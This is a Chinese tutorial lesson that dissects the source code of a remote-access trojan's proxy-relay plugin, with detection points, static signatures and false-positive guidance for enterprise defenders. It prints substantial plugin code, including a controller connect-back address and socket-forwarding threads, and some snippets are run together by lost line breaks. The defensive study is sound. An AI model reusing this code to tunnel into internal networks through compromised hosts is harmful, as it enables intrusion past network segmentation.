第 39 课:主插件:代理映射
# 第 39 课:主插件:代理映射
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课围绕 主插件\代理映射 展开。这个模块和前面的视频、音频插件不同,它不直接采集本机隐私数据,而是把受控主机变成一个网络转发点:主控端下发连接目标,插件在受控主机上创socket 连接目标服务,再把两边的数据相互转发。
从企业安全工程角度看,这类能力非常敏感,因为它可能把原本只允许内网访问的服务暴露到外部控制链路中,削弱网络分段、ACL、堡垒机和零信任访问控制的效果。本课只从防御理解、检测和源码防御评估角度分析,不提供代理使用步骤。
# 1. 本课学习目标
读完本课,你应该能理解:
代理映射插件在整体工程中的角色?
CProxyManager如何管理连接、转发和关闭?COMMAND_PROXY_CONNECT、COMMAND_PROXY_DATA、TOKEN_PROXY_DATA的职责?IP 连接和域名连接两条线程路径的差异?
为什么代理能力会影响企业内网分段和边界防护?
企业如何识别异常转发、长连接和内部服务访问风险。
# 2. 源码目录和文件
| 路径 | 作用 |
|---|---|
主插件\代理映射\代理映射.sln | 代理映射插件解决方案 |
主插件\代理映射\代理映射\代理映射.cpp | 插件入口、网络连接、管理器创建 |
主插件\代理映射\代理映射\ProxyManager.h | 命令枚举、CProxyManager 声明、socket |
主插件\代理映射\代理映射\ProxyManager.cpp | 连接建立、域名解析、数据转发、连接关 |
依赖说明: 代理映射不依赖复杂第三方库,主要使用 WinSock 和项目统一的 HPSocket 通信层。WinSock 负责被控主机到目标服务的连接,HPSocket 负责主控链路上的命令和数据回传。代码注释中会把连接索引、目标地址、socket 映射和回token 写清楚,避免在正文单独列变量表。

# 3. 模块角色:把主机变成网络中继。
代理映射模块的核心不是“本机数据采集”,而是“网络可达性扩展”。如果一台终端能访问内部数据库、管理端口或业务接口,而外部主控端不能直接访问,那么代理映射会让这台终端变成中间跳板。 企业防御需要关注四类问题:
| 问题 | 说明 |
|---|---|
| 可达性被扩大 | 外部控制链路借助内网主机访问内部服务 |
| 访问边界被绕开 | 原本需VPN、堡垒机、身份校验的路径可能被弱 |
| 流量归因困难 | 内部服务看到的来源可能是受控主机,而不是外部操作 |
| 长连接隐 | 转发流量可能混在普通外联连接里 |
# 4. 插件入口
// 源码位置:主插件\代理映射\代理映射\代理映射.cpp:8-44
// 防御分析注释:入口连接成功后创建 CProxyManager// 后续风险重点socket 转发、内部目标连接和双向数据回传struct plugInfo
{
char mark[30];
TCHAR szAddress[255];
DWORD szPort;
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo =
{
"plugmark",
_T("192.168.1.9"),
6669,
1,
0,
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CProxyManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
入口代码告诉我们:代理映射不是一个独立网络服务,而是挂在主控连接里的插件能力。检测时不要只看有没有本地监听端口,更要看是否有异常出站连接和内部目标连接。
# 5. 关键结构和函数位置
| 文件 | 结构/函数 | 大致行号 | 作用 |
|---|---|---|---|
ProxyManager.h | 命令枚举 | 5-15 | 定义连接、数据、关token |
ProxyManager.h | CProxyManager | 22-39 | 保存 socket 表、线程数和发送接 |
ProxyManager.h | SocksThreadArg | 40-46 | 传递线程参 |
ProxyManager.cpp | 构析构 | 13-50 | 初始化、发送启token、清socket |
ProxyManager.cpp | OnReceive | 74-132 | 按命令创建连接、发送数据、关闭连 |
ProxyManager.cpp | SocksThread | 133-213 | IP 建立目标连接并回传数据 |
ProxyManager.cpp | SocksThreadhostname | 216-306 | 按域名解析后连接并回传数据 |
ProxyManager.cpp | GetSocket | 311 以后 | 从连接表查找或删socket |
# 6. 命令枚举Manager 状。
// 源码位置:主插件\代理映射\代理映射\ProxyManager.h:5-46
// 防御分析注释:命令设计体现了代理能力的三个动作:连接、传数据、关闭// 企业检测可以把这三类行为映射到 socket 创建、send/recv、连接生命周期enum
{
TOKEN_PROXY_CONNECT_RESULT,
TOKEN_PROXY_BIND_RESULT,
TOKEN_PROXY_CLOSE,
TOKEN_PROXY_DATA,
COMMAND_PROXY_CLOSE,
COMMAND_PROXY_CONNECT,
COMMAND_PROXY_DATA,
COMMAND_PROXY_CONNECT_HOSTNAME,
};
#define SAFE_TERMINATE(handle, times) \
if (WaitForSingleObject(handle, times) != WAIT_OBJECT_0) \
TerminateThread(handle, 0);
class CProxyManager : public CManager
{
public:
BOOL m_buser;
CProxyManager(ISocketBase* pClient);
virtual ~CProxyManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
int Send(LPBYTE lpData, UINT nSize);
void Disconnect(DWORD index);
void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
static unsigned __stdcall SocksThread(LPVOID lparam);
static unsigned __stdcall SocksThreadhostname(LPVOID lparam);
map<DWORD, SOCKET*> list; // 连接索引socket 的映 CCriSec m_cs;
int Threads;
};
struct SocksThreadArg
{
CProxyManager* pThis;
LPBYTE lpBuffer;
int len;
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
这段声明还暴露出一个代码质量风险:TerminateThread 是非常危险的线程终止方式,可能导致锁、堆内存、socket 状态无法正确释放。后续读实现时,应把它作为稳定性和资源泄露风险写进代码注释,而不是单独列成独立表格。
# 7. 构造和清理:发送启token,释socket
// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp:13-50
// 防御分析注释:构造函数发TOKEN_PROXY_START,析构时遍历 socket 表清理连接// 这说明模块内部维护了多条代理连接状态CProxyManager::CProxyManager(ISocketBase* pClient) : CManager(pClient)
{
m_buser = TRUE;
m_nSend = 0;
Threads = 0;
BYTE cmd = TOKEN_PROXY_START;
Send(&cmd, 1);
}
CProxyManager::~CProxyManager()
{
if (!m_buser) return;
m_buser = FALSE;
Sleep(1500);
CCriSecLock locallock(m_cs);
map<DWORD, SOCKET*>::iterator it_oneofserver = list.begin();
while (it_oneofserver != list.end())
{
SOCKET* p_socket = (SOCKET*)(it_oneofserver->second);
if (p_socket && *p_socket != INVALID_SOCKET)
{
closesocket(*p_socket);
*p_socket = 0;
}
SAFE_DELETE(it_oneofserver->second);
list.erase(it_oneofserver++);
}
while (Threads)
Sleep(300);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 8. 命令分发:连接、关闭、转发数。

OnReceive 是代理模块的入口。它把网络命令转成三类动作:
建立到目IP 的连接?
建立到目标域名的连接?
按连接索引转发数据或关闭连接。
// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp:74-132
// 防御分析注释:网络命令直接驱动本socket 访问目标服务// 关键风险是受控主机可能访问到主控端本来不可达的内部资产void CProxyManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
if (!m_buser) return;
switch (lpBuffer[0])
{
case COMMAND_PROXY_CONNECT:
{
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
Threads++;
CloseHandle((HANDLE)_beginthreadex(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CONNECT_HOSTNAME:
{
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
arg.len = nSize;
Threads++;
CloseHandle((HANDLE)_beginthreadex(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CLOSE:
GetSocket(*(DWORD*)&lpBuffer[1], TRUE);
break;
case COMMAND_PROXY_DATA:
{
DWORD index = *(DWORD*)&lpBuffer[1];
SOCKET* s = GetSocket(index);
if (!s) return;
// 防御分析关注点:这里把主控端数据写入目标 socket send(*s, (char*)&lpBuffer[5], nSize - 5, 0);
}
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
OnReceive 里还有一个线程参数传递风险:代码把栈上的 arg 地址传给新线程,再通过 while (arg.lpBuffer) Sleep(2) 等待线程复制参数。这个写法依赖时序,工程健壮性较弱。防御性代码改造时应使用堆对象、智能指针或线程安全队列。
# 9. IP 连接线程:建立目socket 并回传数。

// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp:133-213
// 防御分析注释:SocksThread 在受控主机上主动连接目标 IP// 然后select/recv 读取目标返回数据,再封装TOKEN_PROXY_DATA 回传unsigned CProxyManager::SocksThread(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE lpBuffer[11];
memcpy(lpBuffer, pArg->lpBuffer, 11);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
DWORD ip = *(DWORD*)&lpBuffer[5];
SOCKET* psock = new SOCKET;
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (*psock == SOCKET_ERROR)
{
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(psock);
pThis->Threads--;
return 0;
}
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
ClientAddr.sin_addr.S_un.S_addr = ip;
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
{
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(psock);
pThis->Threads--;
return 0;
}
pThis->list.insert(pair<DWORD, SOCKET*>(index, psock));
pThis->SendConnectResult(lpBuffer, ClientAddr.sin_addr.S_un.S_addr, ClientAddr.sin_port);
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (WaitForSingleObject(pThis->m_pClient->m_hEvent, 10) != WAIT_OBJECT_0)
{
// 防御分析关注点:select/recv 表示该线程持续监听目socket 返回数据 // 返回数据会通过主控连接回传,形成双向转发链路 }
SAFE_DELETE_AR(buff);
pThis->Threads--;
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
这段代码里,index 是连接标识。主控端后续发来的数据会按 index 找到对应 socket。防御侧可以把它理解为“同一条主控连接里复用多个内部目标连接”。
# 10. 域名连接线程:多gethostbyname
// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp:216-306
// 防御分析注释:域名模式会gethostbyname,再连接解析出的地址// 网络侧应同时关注 DNS 查询和随后的内部目标连接unsigned CProxyManager::SocksThreadhostname(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE* lpBuffer = new BYTE[pArg->len];
memcpy(lpBuffer, pArg->lpBuffer, pArg->len);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
USHORT nPort = 0;
memcpy(&nPort, lpBuffer + 5, 2);
hostent* pHostent = gethostbyname((char*)lpBuffer + 7);
if (!pHostent)
{
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
return 0;
}
SOCKET* psock = new SOCKET;
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[5];
ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
{
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE_AR(psock);
pThis->Threads--;
return 0;
}
pThis->list.insert(pair<DWORD, SOCKET*>(index, psock));
// 后续逻辑IP 模式类似:select/recv 目标 socket,并TOKEN_PROXY_DATA 回传 return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
域名模式对检测更友好一些,因为 DNS 查询会留下额外线索。企业可以关联:同一进程先解析内部域名,再建立到内部服务端口的连接,同时还保持一条外部控制连接。
# 11. 网络分段风险

代理映射之所以危险,是因为它改变了访问路径。原本的安全设计可能是:
| 原设 | 被代理能力影响后的风 |
|---|---|
| 外部不能直接访问数据 | 受控终端能访问数据库时,外部可能借终端转 |
| 管理端口只允许运维网 | 被控主机若在允许网段内,可能成为中继 |
| 堡垒机记录管理员操作 | 代理转发可能让目标服务只看到终端 IP |
| 内部 ACL 只看源地址 | 如果源地址是受控终端,ACL 可能放行 |
| 零信任要求设备态和身份 | 代理流量可能绕开应用层身份校 |
防御上要避免只做“南北向边界防护”。这类模块更考验东西向流量监控、终端出站控制和最小权限网络分段。
# 12. 企业检测点

| 检测层 | 建议检测点 |
|---|---|
| 主机 | 非代理软件创建到多个内部目标TCP socket |
| 网络 | 同一进程同时保持外部控制连接和内部服务连 |
| DNS | 异常进程解析内部域名或高价值资产域 |
| 连接行为 | 长连接、双向流、连接数与用户行为不匹配 |
| 资产 | 终端访问数据库、管理端口、运维端口等异常资产 |
| 出站 | 终端访问未授权公网地址后,又访问内部敏感服 |
| 权限 | 用户角色不应访问的网段和端口被访 |
# 13. 静态规则特
| 特征 | 说明 |
|---|---|
COMMAND_PROXY_CONNECT | 连接目标 IP |
COMMAND_PROXY_CONNECT_HOSTNAME | 域名解析后连 |
TOKEN_PROXY_DATA | 代理数据回传 |
map<DWORD, SOCKET*> | 连接索引socket 的映 |
_beginthreadex + connect + select + recv | 典型连接线程链路 |
gethostbyname | 域名模式解析 |
TerminateThread | 不安全线程终止方式,稳定性风 |
# 14. 误报来源
| 误报来源 | 排查方式 |
|---|---|
| 合法代理客户 | 是否是企业批准的软件,是否走统一代理认证 |
| VPN 客户 | 是否处于企业允许VPN 连接状态 |
| 远程协助工具 | 是否有工单、用户确认和会话记录 |
| 数据同步工具 | 是否访问固定业务域名和端口 |
| 运维脚本 | 是否由受控发布系统触发,是否有变更记 |
# 15. 合法练习:
画出
COMMAND_PROXY_CONNECT -> SocksThread -> connect -> TOKEN_PROXY_CONNECT_RESULT的时序图?说明为什么代理映射会削弱只基于源 IP ACL?
设计一条检测逻辑:非代理软件同时连接公网控制端和内网数据库端口?
找出
OnReceive中把栈对象传给线程的代码,并说明为什么它依赖时序?列出三类可能误报的合法代理或远程协助软件,并说明排查依据。
# 16. 本课小结
代理映射模块的主线是:主控命令进入 CProxyManager,Manager 创建连接线程,受控主机主动连接目标服务,再把主控端数据和目标返回数据双向转发。
防御重点不在某个单独 API,而在访问路径被改变:外部控制连接、内部目socket、长连接双向流、敏感端口访问和资产权限不匹配。企业要用网络分段、出站控制、资产权限和终端行为关联来识别这类风险。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言